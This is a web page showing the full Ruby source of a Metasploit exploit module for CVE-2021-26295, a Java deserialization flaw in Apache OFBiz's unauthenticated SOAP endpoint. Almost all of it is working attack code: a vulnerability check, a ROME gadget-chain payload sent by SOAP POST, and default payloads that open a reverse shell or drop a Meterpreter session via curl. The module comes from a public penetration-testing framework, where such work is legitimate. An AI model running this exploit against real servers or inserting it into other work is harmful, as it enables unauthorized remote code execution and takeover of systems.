Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization_soap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::JavaDeserialization1314XML_NS = {15'serResponse' => 'http://ofbiz.apache.org/service/',16'soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/'17}.freeze1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Apache OFBiz SOAP Java Deserialization',24'Description' => %q{25This module exploits a Java deserialization vulnerability in Apache26OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for27versions prior to 17.12.06.28},29'Author' => [30'yumusb', # original PoC31'Spencer McIntyre', # metasploit module32'wvu' # metasploit module33],34'References' => [35[ 'CVE', '2021-26295' ],36[ 'URL', 'https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py' ],37[ 'URL', 'https://issues.apache.org/jira/browse/OFBIZ-12167' ]38],39'DisclosureDate' => '2021-03-22', # NVD publish date40'License' => MSF_LICENSE,41'Platform' => ['unix', 'linux'],42'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],43'Privileged' => false,44'Targets' => [45[46'Unix Command',47{48'Platform' => 'unix',49'Arch' => ARCH_CMD,50'Type' => :unix_cmd,51'DefaultOptions' => {52'PAYLOAD' => 'cmd/unix/reverse_python_ssl'53}54}55],56[57'Linux Dropper',58{59'Platform' => 'linux',60'Arch' => [ARCH_X86, ARCH_X64],61'Type' => :linux_dropper,62'DefaultOptions' => {63'CMDSTAGER::FLAVOR' => :curl,64'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'65}66}67]68],69'DefaultTarget' => 1,70'DefaultOptions' => {71'SSL' => true72},73'Notes' => {74'Stability' => [CRASH_SAFE],75'Reliability' => [REPEATABLE_SESSION],76'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]77}78)79)8081register_options([82Opt::RPORT(8443),83OptString.new('TARGETURI', [true, 'Base path', '/'])84])85end8687def check88# Send an empty serialized object89res = send_request_soap('')9091unless res92return CheckCode::Unknown('Target did not respond to check.')93end9495messages = {}96res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|97key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s98messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s99end100101if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')102return CheckCode::Vulnerable('Target can deserialize arbitrary data.')103end104105CheckCode::Safe('Target cannot deserialize arbitrary data.')106end107108def exploit109print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")110111case target['Type']112when :unix_cmd113execute_command(payload.encoded)114when :linux_dropper115execute_cmdstager116end117end118119def execute_command(cmd, _opts = {})120vprint_status("Executing command: #{cmd}")121122res = send_request_soap(123# framework/webapp/lib/rome-0.9.jar124generate_java_deserialization_for_command('ROME', 'bash', cmd)125)126127unless res && res.code == 200128fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")129end130131print_good("Successfully executed command: #{cmd}")132end133134def send_request_soap(data)135send_request_cgi(136'method' => 'POST',137'uri' => normalize_uri(target_uri.path, '/webtools/control/SOAPService'),138'ctype' => 'text/xml',139'data' => <<~XML140<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">141<soapenv:Header/>142<soapenv:Body>143<ser>144<map-HashMap>145<map-Entry>146<map-Key>147<cus-obj>#{Rex::Text.to_hex(data, '')}</cus-obj>148</map-Key>149<map-Value>150<std-String value="http://#{Faker::Internet.domain_name}"/>151</map-Value>152</map-Entry>153</map-HashMap>154</ser>155</soapenv:Body>156</soapenv:Envelope>157XML158)159end160161end162163164